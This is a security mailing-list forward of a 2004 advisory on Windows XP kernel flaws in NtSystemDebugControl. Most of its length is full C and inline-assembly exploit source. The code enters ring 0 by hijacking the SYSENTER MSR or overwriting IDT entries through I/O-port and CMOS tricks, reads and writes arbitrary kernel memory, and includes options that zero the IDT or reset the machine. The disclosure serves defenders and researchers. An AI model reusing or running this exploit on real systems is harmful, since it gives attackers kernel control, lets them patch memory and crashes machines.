[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[VulnWatch] FW: Multiple WinXP kernel vulns can give user mode programs kernel mode privileges



 

> -----Original Message-----
> From: first last [mailto:randnut@hotmail.com] 
> Sent: Wednesday, February 18, 2004 3:15 PM
> To: full-disclosure@lists.netsys.com; bugtraq@securityfocus.com
> Subject: Multiple WinXP kernel vulns can give user mode 
> programs kernel mode privileges
> 
> Multiple WinXP kernel vulns can give user mode programs 
> kernel mode privileges
> 
> Summary
> =======
> 
> There exist several vulnerabilities in one of Windows XP 
> kernel's native API functions which allow any user with the 
> SeDebugPrivilege privilege to execute arbitrary code in 
> kernel mode, and read from and write to any memory address, 
> including kernel memory.
> 
> Tested systems
> ==============
> 
> Windows XP Pro SP1 with latest patches
> 
> It's likely that Windows 2003 also is vulnerable.
> 
> Details
> =======
> 
> ZwSystemDebugControl(), exported from ntdll.dll, calls a 
> Windows operating system function NtSystemDebugControl(). 
> This function is executed in ring 0 (kernel mode) and is 
> meant to be used by user mode debuggers having the 
> SeDebugPrivilege privilege.
> 
> Vulnerability #1, enter ring 0 method #1 - SYSENTER/SYSCALL instrs:
> 
> This method writes to IA32_SYSENTER_EIP MSR by calling the kernel
> (NtSystemDebugControl()) and changing the MSR register to 
> point to our code. 
> Next time we execute the SYSENTER instruction, we're in ring 
> 0 and have total control of the processor. Note that AMD 
> processors may also support the SYSCALL instruction which 
> behaves like SYSENTER and could also be used to enter ring 0.
> <end vuln #1>
> 
> Vulnerability #2, enter ring 0 method #2 - I/O R/W kernel sub-funcs:
> 
> This method writes to kernel memory. Modify an (preferably 
> unused) IDT entry with a pointer to your code and execute an 
> INT n instruction. 
> Method1_WriteMemByte() uses a bug in the read I/O 
> sub-function of NtSystemDebugControl(). The pointers in the 
> IO_STRUCT aren't checked and we can exploit this bug to write 
> to kernel memory. Since the kernel reads from an I/O port, we 
> must first control the I/O port's value. This is easy since 
> every PC has a BIOS POST port 80h. This is an 8-bit 
> read/write port used by the BIOS during POST. If we first 
> write to it, and then later read it, we can make the kernel 
> write any byte to any address.
> <end vuln #2>
> 
> Vulnerability #3, enter ring 0 method #3 - bus R/W kernel sub-funcs:
> 
> Same as Method #2 only using DebugSysReadBusData/DebugSysWriteBusData
> sub-functions which will call the HAL to read and write bus 
> data. The pointer in the BUS_STRUCT is not verified to be 
> pointing to user data before calling the HAL and we can 
> exploit this bug to write to the IDT and get ring 0 access. 
> This method uses CMOS index 0Eh as our controllable byte.
> <end vuln #3>
> 
> Vulnerability #4, enter ring 0 method #4 - direct HW access:
> 
> Since the user mode program has direct hardware access, it 
> can also read from and write to kernel memory with the help 
> of hardware which can access the processor's RAM. Similar to 
> methods #2 and #3 only more complex.
> <end vuln #4>
> 
> I have attached source code to test for methods #1-#3 and a 
> few other options to show what a user mode program can do. 
> Run it with /test1, /test2, and /test3 command line options 
> to test your system.
> 
> Impact
> ======
> 
> Any user with the SeDebugPrivilege privilege could execute 
> arbitrary code as the kernel, and read from and write to any 
> address the kernel can. The program can do anything to the 
> computer the kernel can, eg. reprogram any computer hardware, 
> such as the BIOS flash memory or patch the kernel in memory.
> 
> Since the user needs the SeDebugPrivilege, a privilege 
> normally only given to administrators, to exploit these 
> vulnerabilities, these are not serious vulnerabilities. The 
> user is also normally an admin so he or she could easily 
> install a device driver to become part of the kernel instead 
> of exploiting these vulnerabilities.
> 
> Microsoft says it's OK for user mode programs to write to the 
> kernel so long as you have the SeDebugPrivilege privilege, 
> and will not fix anything.
> 
> Workaround
> ==========
> 
> Go to "Local Security Policy\ Security Settings\ Local 
> Policies\ User Rights Assignments" and remove all users and 
> groups from "Debug Programs" and restart your computer. Note 
> that any malicious program with administrator rights could 
> re-enable the SeDebugPrivilege privilege and wait for the 
> next reboot and then gain kernel access. Thus this isn't a 
> very good workaround if you always log on as the administrator.
> 
> _________________________________________________________________
> Click, drag and drop. My MSN is the simple way to design your 
> homepage. 
> http://click.atdmt.com/AVE/go/onm00200364ave/direct/01/
> 
/*
* Discovered and coded Jan 25, 2004
* Copyright (C)2004 randnut@hotmail.com
*/

#include <windows.h>
#include <stdio.h>

typedef int NTSTATUS;
#define NTAPI __stdcall

const IA32_SYSENTER_CS = 0x174;
const IA32_SYSENTER_ESP = 0x175;
const IA32_SYSENTER_EIP = 0x176;

const SelCodeKernel = 0x8;
const CmosIndx = 0x0E;          // CMOS Diagnostic Status
const RdWrIoPort = 0x80;

#define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}
#define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;}

typedef enum _DEBUG_CONTROL_CODE {
        DebugSysReadIoSpace = 14,
        DebugSysWriteIoSpace = 15,
        DebugSysReadMsr = 16,
        DebugSysWriteMsr = 17,
        DebugSysReadBusData = 18,
        DebugSysWriteBusData = 19,
} DEBUG_CONTROL_CODE;

typedef struct _MSR_STRUCT {
        DWORD MsrNum;                   // MSR number
        DWORD NotUsed;                  // Never accessed by the kernel
        DWORD MsrLo;                    // IN (write) or OUT (read): Low 32 
bits of MSR
        DWORD MsrHi;                    // IN (write) or OUT (read): High 32 
bits of MSR
} MSR_STRUCT;

typedef struct _IO_STRUCT {
        DWORD IoAddr;                   // IN: Aligned to NumBytes,I/O address
        DWORD Reserved1;                // Never accessed by the kernel
        PVOID pBuffer;                  // IN (write) or OUT (read): Ptr to 
buffer
        DWORD NumBytes;                 // IN: # bytes to read/write. Only use 
1, 2, or 4.
        DWORD Reserved4;                // Must be 1
        DWORD Reserved5;                // Must be 0
        DWORD Reserved6;                // Must be 1
        DWORD Reserved7;                // Never accessed by the kernel
} IO_STRUCT;

// Copied from the Windows DDK
typedef enum _BUS_DATA_TYPE {
  ConfigurationSpaceUndefined = -1,
  Cmos,
  EisaConfiguration,
  Pos,
  CbusConfiguration,
  PCIConfiguration,
  VMEConfiguration,
  NuBusConfiguration,
  PCMCIAConfiguration,
  MPIConfiguration,
  MPSAConfiguration,
  PNPISAConfiguration,
  SgiInternalConfiguration,
  MaximumBusDataType
} BUS_DATA_TYPE, *PBUS_DATA_TYPE;

// See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of 
each field
typedef struct _BUS_STRUCT {
        ULONG  Offset;
        PVOID  Buffer;
        ULONG  Length;
        BUS_DATA_TYPE  BusDataType;
        ULONG  BusNumber;
        ULONG  SlotNumber;
} BUS_STRUCT;

typedef
NTSTATUS
(NTAPI *PZwSystemDebugControl)(
        DEBUG_CONTROL_CODE ControlCode,
    PVOID InputBuffer,
        ULONG InputBufferLength,
        PVOID OutputBuffer,
    ULONG OutputBufferLength,
        PULONG ReturnLength
        );

PZwSystemDebugControl ZwSystemDebugControl = NULL;

enum Ring0Method {
        Method1,
        Method2,
};

struct OldCpuState
{
        Ring0Method meth;
        MSR_STRUCT msr[3];
        DWORD AffinityMask;
        DWORD EFLAGS, CS, SS, OldIdtDesc[2];
};

void help()
{
        printf("Usage: name_of_program [option [option [...]]]\n");
        printf("/test1                            - test for SYSENTER vuln\n");
        printf("/test2                            - test for I/O write to mem 
vuln\n");
        printf("/test3                            - test for bus write to mem 
vuln\n");
        printf("/reset                            - reset CPU in ring 0\n");
        printf("/zeroidt                          - zero IDT (reboots PC)\n");
        printf("/wrmem <addr> <byte>              - write byte to mem\n");
        printf("/rdmsr <num>                      - read MSR\n");
        printf("/wrmsr <num> <hi> <lo>            - write MSR\n");
        printf("/rdio <port> <size>               - read I/O port\n");
        printf("/wrio <port> <size> <value>       - write I/O port\n");
        printf("/dump <addr> <size>               - dump memory from ring 0\n");
        exit(0);
}

int rdmsr(int MsrNum, MSR_STRUCT& msr)
{
        msr.MsrNum = MsrNum;
        return ZwSystemDebugControl(DebugSysReadMsr, &msr, sizeof(msr), NULL, 
0, 
NULL) >= 0;
}

int wrmsr(int MsrNum, MSR_STRUCT& msr)
{
        msr.MsrNum = MsrNum;
        return ZwSystemDebugControl(DebugSysWriteMsr, &msr, sizeof(msr), NULL, 
0, 
NULL) >= 0;
}

void PrintMsr(MSR_STRUCT& msr)
{
        printf("MSR %08X = %08X_%08X\n", msr.MsrNum, msr.MsrHi, msr.MsrLo);
}

int HasSysEnter()
{
        int retval = 0;

        __try
        {
                __asm
                {
                        mov     eax,1
                        cpuid
                        shr     edx,12
                        adc     retval,0
                }
        }
        __except (EXCEPTION_EXECUTE_HANDLER)
        {
        }

        return retval;
}

int SetProcessor(DWORD NewAffinityMask, DWORD* pOldAffinityMask)
{
        DWORD tmp;

        FCHK(!pOldAffinityMask || GetProcessAffinityMask(GetCurrentProcess(), 
pOldAffinityMask, &tmp));
        FCHK(SetProcessAffinityMask(GetCurrentProcess(), NewAffinityMask));

        return 1;
}

/*
* Returns < 0 on error. If ppAddr != NULL, returns 0x100 on success.
* If ppAddr == NULL, returns byte read on success.
*/
int CmosRead(int offs, BYTE** ppAddr = NULL)
{
        BYTE buf;
        BUS_STRUCT bus;

        bus.BusDataType = Cmos;
        bus.BusNumber = 0;
        bus.SlotNumber = offs;
        bus.Buffer = ppAddr ? *ppAddr : &buf;
        bus.Offset = 0;
        bus.Length = 1;

        if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 
0, 
NULL) < 0)
                return -1;
        else
                return ppAddr ? 0x100 : buf;
}

/*
* Returns 0 on failure, 1 on success
*/
int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)
{
        BUS_STRUCT bus;

        bus.BusDataType = Cmos;
        bus.BusNumber = 0;
        bus.SlotNumber = offs;
        bus.Buffer = ppAddr == NULL ? &val : *ppAddr;
        bus.Offset = 0;
        bus.Length = 1;

        return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), 
NULL, 
0, NULL) >= 0;
}

/*
* Write a byte to any location by exploiting another bug in the kernel. This 
function
* uses DebugSysWriteIoSpace and DebugSysReadIoSpace to write the byte to any 
address.
* This code must execute in ring 3.
*/
int Method1_WriteMemByte(DWORD MemAddr, BYTE Value)
{
        IO_STRUCT io;

        memset(&io, 0, sizeof(io));
        io.IoAddr = RdWrIoPort;
        io.pBuffer = &Value;
        io.NumBytes = 1;
        io.Reserved4 = 1;
        io.Reserved6 = 1;
        if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 
0, 
NULL) < 0)
                return 0;

        memset(&io, 0, sizeof(io));
        io.IoAddr = RdWrIoPort;
        io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
        io.NumBytes = 1;
        io.Reserved4 = 1;
        io.Reserved6 = 1;
        if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0, 
NULL) < 0)
                return 0;

        return 1;
}

/*
* Read a byte from any location by exploiting another bug in the kernel. 
This function
* uses DebugSysWriteIoSpace and DebugSysReadIoSpace to read the byte from 
any address.
* This code must execute in ring 3.
*/
int Method1_ReadMemByte(DWORD MemAddr)
{
        BYTE Value;

        IO_STRUCT io;
        memset(&io, 0, sizeof(io));
        io.IoAddr = RdWrIoPort;
        io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
        io.NumBytes = 1;
        io.Reserved4 = 1;
        io.Reserved6 = 1;
        if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 
0, 
NULL) < 0)
                return -1;

        memset(&io, 0, sizeof(io));
        io.IoAddr = RdWrIoPort;
        io.pBuffer = &Value;
        io.NumBytes = 1;
        io.Reserved4 = 1;
        io.Reserved6 = 1;
        if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0, 
NULL) < 0)
                return -1;

        return Value;
}

int CmosTest()
{
        int OldVal = CmosRead(CmosIndx);
        if (OldVal < 0)
                return 0;

        static int HasTested = 0;
        if (HasTested == 0)
        {
                HasTested = -1;

                if (!CmosWrite(CmosIndx, 0x55) || CmosRead(CmosIndx) != 0x55 ||
                        !CmosWrite(CmosIndx, 0xAA) || CmosRead(CmosIndx) != 
0xAA ||
                        !CmosWrite(CmosIndx, (BYTE)OldVal))
                {
                        printf("There's something wrong with your CMOS\n");
                        return 0;
                }

                HasTested = 1;
        }
        else if (HasTested == -1)
                return 0;

        return 1;
}

/*
* Write a byte to any location by exploiting another bug in the kernel. This 
function
* uses DebugSysReadBusData and DebugSysWriteBusData to write the byte to any 
address.
* This code must execute in ring 3.
*/
int Method2_WriteMemByte(DWORD MemAddr, BYTE Value)
{
        if (!CmosTest())
                return 0;

        int OldVal = CmosRead(CmosIndx);
        if (OldVal < 0)
                return 0;

        BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
        if (!CmosWrite(CmosIndx, Value) || CmosRead(CmosIndx, &p) < 0 ||
                !CmosWrite(CmosIndx, OldVal))
                return 0;

        return 1;
}

/*
* Read a byte from any location by exploiting another bug in the kernel. 
This function
* uses DebugSysReadBusData and DebugSysWriteBusData to read the byte from 
any address.
* This code must execute in ring 3.
*/
int Method2_ReadMemByte(DWORD MemAddr)
{
        int OldVal, RetVal;

        if (!CmosTest())
                return -1;

        BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
        if ((OldVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, 0, &p) ||
                (RetVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, 
(BYTE)OldVal))
                return -1;

        return RetVal;
}

static int MemAccessMethType = -1;
int SetMemAccessMeth(int NewMeth)
{
        int old = MemAccessMethType;

        if (NewMeth == -1 || NewMeth == 1 || NewMeth == 2)
                MemAccessMethType = NewMeth;

        return old;
}

int WriteMemByte(DWORD MemAddr, BYTE Value)
{
        switch (MemAccessMethType)
        {
        case 1:
                return Method1_WriteMemByte(MemAddr, Value);

        case 2:
                return Method2_WriteMemByte(MemAddr, Value);

        case -1:
        default:
                return Method1_WriteMemByte(MemAddr, Value) || 
Method2_WriteMemByte(MemAddr, Value);
        }
}

int ReadMemByte(DWORD MemAddr)
{
        switch (MemAccessMethType)
        {
        case 1:
                return Method1_ReadMemByte(MemAddr);

        case 2:
                return Method2_ReadMemByte(MemAddr);

        case -1:
        default:
                int RetVal;
                if ((RetVal = Method1_ReadMemByte(MemAddr)) >= 0 ||
                        (RetVal = Method2_ReadMemByte(MemAddr)) >= 0)
                        (void)0 /* Nothing */;
                return RetVal;
        }
}

/*
* Tries to enter ring 0 by overwriting IA32_SYSENTER_EIP and executing 
SYSENTER.
* Returns 1 on success. If it returns 1, EFLAGS.IF=0.
*/
int Method1_EnterRing0(OldCpuState& old)
{
        old.meth = Method1;
        if (!HasSysEnter())
                return 0;

        FCHK(SetProcessor(1, &old.AffinityMask));
        FCHK2(rdmsr(IA32_SYSENTER_CS, old.msr[0]), cleanup);
        FCHK2(rdmsr(IA32_SYSENTER_ESP, old.msr[1]), cleanup);
        FCHK2(rdmsr(IA32_SYSENTER_EIP, old.msr[2]), cleanup);

        DWORD Ring0Addr;
        __asm
        {
                mov     Ring0Addr,offset ring0_addr
        }

        Sleep(100);     // A more reliable way is to block all interrupts 
through the 
PIC.

        MSR_STRUCT msr;
        if (old.msr[0].MsrLo == 0) // SYSENTER not enabled
        {
                // IMPORTANT:
                // I assume the OS sets up the GDT as follows:
                // base:ring0 code
                //              ring0 data
                //              ring3 code
                //              ring3 data
                // Will crash eventually if it's not setup that way
                msr.MsrLo = SelCodeKernel;
                msr.MsrHi = 0;
                FCHK2(wrmsr(IA32_SYSENTER_CS, msr), cleanup);
        }

        msr.MsrHi = 0;
        msr.MsrLo = Ring0Addr;
        FCHK2(wrmsr(IA32_SYSENTER_EIP, msr), cleanup2); // Let's hope we won't 
get 
interrupted after this call

        __asm
        {
                mov             ecx,esp
                // Hmm, can't assemble SYSENTER or DB 0F,34
                jmp             short $+3
                mov             eax,9090340Fh
ring0_addr:
                mov             esp,ecx
                // Hot dog! :)
        }

        return 1;

cleanup2:
        if (old.msr[0].MsrLo == 0)
                wrmsr(IA32_SYSENTER_CS, old.msr[0]);
cleanup:
        FCHK(SetProcessor(old.AffinityMask, NULL));
        return 0;
}

/*
* Enters ring 3
*/
void Method1_LeaveRing0(OldCpuState& old)
{
        MSR_STRUCT* pmsr = &old.msr[0];
        __asm
        {
                mov             ebx,pmsr

                mov             ecx,[ebx]               // IA32_SYSENTER_CS
                mov             eax,[ebx+8]
                mov             edx,[ebx+0Ch]
                test    eax,eax
                jz              skip1
                wrmsr
skip1:

                mov             ecx,[ebx+10h]   // IA32_SYSENTER_ESP
                mov             eax,[ebx+10h+8]
                mov             edx,[ebx+10h+0Ch]
                wrmsr

                mov             ecx,[ebx+20h]   // IA32_SYSENTER_EIP
                mov             eax,[ebx+20h+8]
                mov             edx,[ebx+20h+0Ch]
                wrmsr

                mov             ecx,esp
                mov             edx,offset ring3_code
                // Hmm, can't assemble SYSEXIT or DB 0F,35
                jmp             short $+3
                mov             eax,90350FFBh
ring3_code:
        }
        if (old.msr[0].MsrLo == 0) // SYSENTER was not enabled
                wrmsr(old.msr[0].MsrNum, old.msr[0]);

        SetProcessor(old.AffinityMask, NULL);
}

/*
* Tries to enter ring 0 by telling the kernel to write to the IDT with bytes 
we control.
* Returns 1 on success. If it returns 1, EFLAGS.IF=0.
*/
int Method2_EnterRing0(OldCpuState& old)
{
        old.meth = Method2;
        FCHK(SetProcessor(1, &old.AffinityMask));

        DWORD Ring0Addr, EFLAGS, _CS, _SS;
        DWORD idt[2], idt_base, idt_limit;
        __asm
        {
                mov             Ring0Addr,offset ring0_addr
                sidt    idt+2
                movzx   eax,word ptr idt+2
                mov             idt_limit,eax
                mov             eax,idt+4
                mov             idt_base,eax
                pushfd
                pop             eax
                mov             EFLAGS,eax
                mov             word ptr _CS,cs
                mov             word ptr _SS,ss
        }
        old.EFLAGS = EFLAGS;
        old.CS = _CS;
        old.SS = _SS;

#define IntNum 0xFF

        if (IntNum*8 + 7 > idt_limit)
        {
                printf("ERROR: The interrupt number is outside the IDT. Change 
it and 
recompile.\n");
                goto cleanup;
        }

        BYTE* pOldIdtDesc = (BYTE*)&old.OldIdtDesc;
        for (int i = 0; i < 8; i++)
        {
                int SomeByte;
                FCHK2((SomeByte = ReadMemByte(idt_base + IntNum*8 + i)) >= 0, 
cleanup);
                *pOldIdtDesc++ = (BYTE)SomeByte;
        }

        DWORD IdtDesc[2];
        IdtDesc[0] = (SelCodeKernel << 16) | (Ring0Addr & 0xFFFF);
        IdtDesc[1] = (Ring0Addr & 0xFFFF0000) | 0xEE00; // 32-bit interrupt 
gate, 
DPL3

        for (int i = 0; i < 8; i++)
                FCHK2(WriteMemByte(idt_base + IntNum*8 + i, *((BYTE*)&IdtDesc + 
i)), 
cleanup);

        __asm
        {
                xchg    esp,eax
                int             IntNum
ring0_addr:
                xchg    esp,eax
                // What do you know, it worked!
        }

        return 1;

cleanup:
        FCHK(SetProcessor(old.AffinityMask, NULL));
        return 0;
}

/*
* Enters ring 3
*/
void Method2_LeaveRing0(OldCpuState& old)
{
        DWORD idt[2];
        DWORD EFLAGS = old.EFLAGS;
        DWORD _CS = old.CS;
        DWORD _SS = old.SS;
        DWORD* pOldIdtDesc = &old.OldIdtDesc[0];
        __asm
        {
                sidt    idt+2
                mov             eax,idt+4
                mov             ecx,pOldIdtDesc
                mov             edx,[ecx]
                mov             ecx,[ecx+4]
                mov             [eax+IntNum*8],edx
                mov             [eax+IntNum*8+4],ecx

                mov             eax,esp
                push    _SS
                push    eax
                mov             eax,EFLAGS
                and             eax,not (1 shl 0Eh)
                push    eax
                push    _CS
                push    offset ring3_addr
                iretd
ring3_addr:
        }

        SetProcessor(old.AffinityMask, NULL);
}

int EnterRing0(OldCpuState& old)
{
        /*
         * Method2 is safer than Method1
         */
        return Method2_EnterRing0(old) || Method1_EnterRing0(old);
}

void LeaveRing0(OldCpuState& old)
{
        switch (old.meth)
        {
        case Method1:   Method1_LeaveRing0(old); break;
        case Method2:   Method2_LeaveRing0(old); break;
        default:                __asm jmp       short $
        }
}

int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)
{
        TOKEN_PRIVILEGES tok;

        tok.PrivilegeCount = 1;
        tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;

        FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));
        FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, 
NULL));

        return 1;
}

void PrintDelay(int secs)
{
        while (secs--)
        {
                printf("%d..", secs+1);
                Sleep(1000);
        }
        printf("NOW\n");
}

void PrintVulnMsg(int failed)
{
        if (!failed)
                printf("Your operating system is vulnerable to this 
exploit.\n");
        else
        {
                printf("If this user account has the SeDebugPrivilege privilege 
then 
your\n");
                printf("OS doesn't appear to be vulnerable.\n\n");
        }
}

DWORD ReadMem(DWORD MemAddr, void* buf, DWORD bufsz)
{
        if (!bufsz || !buf)
                return 0;

#if 0
/*
* Will crash XP if we read from non-present memory so don't use this code
*/
        BYTE* p = (BYTE*)buf;
        for (DWORD i = 0; i < bufsz; i++)
        {
                int SomeByte;
                if ((SomeByte = ReadMemByte(MemAddr++)) < 0)
                        break;
                p[i] = (BYTE)SomeByte;
        }
        return i;
#else
        OldCpuState old;
        if (!EnterRing0(old))
                return 0;

        DWORD ret_val;
        __asm
        {
                sub             esp,8
                sidt    [esp+2]
                mov             ebx,[esp+4]
                add             esp,8
                push    dword ptr [ebx+0Eh*8]
                push    dword ptr [ebx+0Eh*8+4]

                mov             eax,offset xcpt_handler
                mov             [ebx+0Eh*8],eax
                mov             [ebx+0Eh*8+4],eax
                mov             word ptr [ebx+0Eh*8+4],8E00h
                mov             word ptr [ebx+0Eh*8+2],cs

                mov             ecx,bufsz
                mov             esi,MemAddr
                mov             edi,buf
                rep movsb
                jmp             skip_xcpt
xcpt_handler:
                add             esp,8
                popfd
                pop             eax
skip_xcpt:
                pop             dword ptr [ebx+0Eh*8+4]
                pop             dword ptr [ebx+0Eh*8]

                mov             eax,bufsz
                sub             eax,ecx
                mov             ret_val,eax
        }

        LeaveRing0(old);
        return ret_val;
#endif
}

int DumpMem(DWORD MemAddr, DWORD size)
{
        if (size == 0)
                return 1;
        if (MemAddr + size - 1 < MemAddr)
                return 0;

        DWORD OldMask;
        FCHK(SetProcessor(1, &OldMask));

        int ret = 1;
        const BytesPerLine = 16;
        while (size)
        {
                BYTE buf[BytesPerLine];
                DWORD addr = MemAddr - MemAddr % BytesPerLine;
                DWORD SizeRead = ReadMem(addr, buf, BytesPerLine);

                printf("%08X:", addr);
                for (int i = 0; i < BytesPerLine; i++)
                {
                        if ((i & 3) == 0 && i != 0)
                                printf("-");
                        else
                                printf(" ");
                        if (addr < MemAddr || addr > MemAddr+size-1)
                                printf("  ");
                        else if ((DWORD)i >= SizeRead)
                                printf("??");
                        else
                                printf("%02X", buf[i]);
                        addr++;
                }
                printf(" ");

                addr = MemAddr - MemAddr % BytesPerLine;
                for (int i = 0; i < BytesPerLine; i++)
                {
                        if (addr < MemAddr || addr > MemAddr+size-1)
                                printf(" ");
                        else if ((DWORD)i >= SizeRead)
                                printf("?");
                        else if (buf[i] >= 0x20 && buf[i] <= 0x7E)
                                printf("%c", buf[i]);
                        else
                                printf(".");
                        addr++;
                }
                printf("\n");

                size -= min(size, addr - MemAddr);
                MemAddr = addr;
        }

        SetProcessor(OldMask, NULL);
        return ret;
}

int main(int argc, char* argv[])
{
        HMODULE hNtdll;
        FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);
        FCHK((ZwSystemDebugControl = 
(PZwSystemDebugControl)GetProcAddress(hNtdll, 
"ZwSystemDebugControl")) != NULL);

        HANDLE hToken;
        FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | 
TOKEN_QUERY, &hToken));
        FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));

        for (int i = 1; i < argc; i++)
        {
                char* s = argv[i];
                if (*s != '/' && *s != '-')
                        help();
                s++;

                if (!strcmp(s, "rdmsr") && i+1 < argc)
                {
                        MSR_STRUCT msr;
                        int num = strtoul(argv[++i], NULL, 0);
                        if (rdmsr(num, msr))
                                PrintMsr(msr);
                        else
                                printf("rdmsr(%08X) failed\n", num);
                }
                else if (!strcmp(s, "wrmsr") && i+3 < argc)
                {
                        MSR_STRUCT msr;
                        int num = strtoul(argv[++i], NULL, 0);
                        msr.MsrHi = strtoul(argv[++i], NULL, 0);
                        msr.MsrLo = strtoul(argv[++i], NULL, 0);
                        if (!wrmsr(num, msr))
                        {
                                printf("wrmsr(%08X) failed\n", num);
                                continue;
                        }
                        if (rdmsr(num, msr))
                                PrintMsr(msr);
                        else
                                printf("rdmsr(%08X) failed\n", num);
                }
                else if (!strcmp(s, "rdio") && i+2 < argc)
                {
                        IO_STRUCT io;
                        memset(&io, 0, sizeof(io));
                        DWORD Buffer;
                        io.IoAddr = strtoul(argv[++i], NULL, 0);
                        io.pBuffer = &Buffer;
                        io.NumBytes = strtoul(argv[++i], NULL, 0);
                        io.Reserved4 = 1;
                        io.Reserved6 = 1;

                        if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes 
!= 4)
                        {
                                printf("Size must be 1, 2, or 4 bytes\n");
                                continue;
                        }
                        if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, 
sizeof(io), NULL, 0, 
NULL) < 0)
                        {
                                printf("Could not read I/O space\n");
                                continue;
                        }
                        switch (io.NumBytes)
                        {
                        case 1: printf("0x%02X\n", (BYTE)Buffer); break;
                        case 2: printf("0x%04X\n", (WORD)Buffer); break;
                        case 4: printf("0x%08X\n", Buffer); break;
                        default: printf("WTF\n"); break;
                        }
                }
                else if (!strcmp(s, "wrio") && i+3 < argc)
                {
                        IO_STRUCT io;
                        memset(&io, 0, sizeof(io));
                        DWORD Buffer;
                        io.IoAddr = strtoul(argv[++i], NULL, 0);
                        io.pBuffer = &Buffer;
                        io.NumBytes = strtoul(argv[++i], NULL, 0);
                        io.Reserved4 = 1;
                        io.Reserved6 = 1;
                        Buffer = strtoul(argv[++i], NULL, 0);

                        if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes 
!= 4)
                        {
                                printf("Size must be 1, 2, or 4 bytes\n");
                                continue;
                        }
                        if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, 
sizeof(io), NULL, 0, 
NULL) < 0)
                        {
                                printf("Could not write to I/O space\n");
                                continue;
                        }
                }
                else if (!strcmp(s, "reset"))
                {
                        OldCpuState old;
                        printf("Will reset computer in...");
                        PrintDelay(3);

                        if (!EnterRing0(old))
                        {
                                printf("Could not enter ring 0\n");
                                continue;
                        }
                        __asm
                        {
                                push    0
                                lidt    [esp]
                                pop             esp
                                inc             esp
                                push    esp
                        }
                        LeaveRing0(old);
                        printf("WTF\n");
                }
                else if (!strcmp(s, "wrmem") && i+2 < argc)
                {
                        DWORD MemAddr = strtoul(argv[++i], NULL, 0);
                        BYTE Value = (BYTE)strtoul(argv[++i], NULL, 0);

                        if (!WriteMemByte(MemAddr, Value))
                        {
                                printf("Could not write the byte\n");
                                continue;
                        }
                }
                else if (!strcmp(s, "zeroidt"))
                {
                        DWORD OldMask;
                        if (!SetProcessor(1, &OldMask))
                        {
                                printf("SetProcessor() failed\n");
                                continue;
                        }

                        DWORD idt[2];
                        int idt_size, idt_base;
                        __asm
                        {
                                sidt    idt+2
                                movzx   eax,word ptr idt+2
                                mov             idt_size,eax
                                mov             eax,idt+4
                                mov             idt_base,eax
                        }
                        printf("Will start writing to IDT @ %08X in...", 
idt_base);
                        PrintDelay(3);

                        for (int j = 0; j <= idt_size; j++)
                        {
                                if (!WriteMemByte(idt_base + j, 0x00))
                                {
                                        printf("Could not write the byte to 
address %08X\n", idt_base + j);
                                        break;
                                }
                        }
                        if (j != 0)
                                printf("WTF\n");

                        SetProcessor(OldMask, NULL);
                }
                else if (!strcmp(s, "test1"))
                {
                        if (!HasSysEnter())
                        {
                                printf("Sorry. SYSENTER/SYSEXIT instructions 
aren't supported by your 
processor.\n");
                                continue;
                        }

                        int failed = 1;
                        OldCpuState old;

                        printf("Testing SYSENTER vulnerability in...");
                        PrintDelay(3);

                        if (Method1_EnterRing0(old))
                        {
                                failed = 0;
                                Method1_LeaveRing0(old);
                        }

                        PrintVulnMsg(failed);
                }
                else if (!strcmp(s, "test2"))
                {
                        int failed = 1;
                        OldCpuState old;

                        printf("Testing I/O write to memory vulnerability 
in...");
                        PrintDelay(3);

                        int OldWrite = SetMemAccessMeth(1);
                        if (Method2_EnterRing0(old))
                        {
                                failed = 0;
                                Method2_LeaveRing0(old);
                        }
                        SetMemAccessMeth(OldWrite);

                        PrintVulnMsg(failed);
                }
                else if (!strcmp(s, "test3"))
                {
                        int failed = 1;
                        OldCpuState old;

                        printf("Testing bus write to memory vulnerability 
in...");
                        PrintDelay(3);

                        int OldWrite = SetMemAccessMeth(2);
                        if (Method2_EnterRing0(old))
                        {
                                failed = 0;
                                Method2_LeaveRing0(old);
                        }
                        SetMemAccessMeth(OldWrite);

                        PrintVulnMsg(failed);
                }
                else if (!strcmp(s, "dump") && i+2 < argc)
                {
                        DWORD MemAddr = strtoul(argv[++i], NULL, 0);
                        DWORD size = strtoul(argv[++i], NULL, 0);

                        if (!DumpMem(MemAddr, size))
                                printf("Could not dump memory\n");
                }
                else
                {
                        help();
                }
        }

        return 1;
}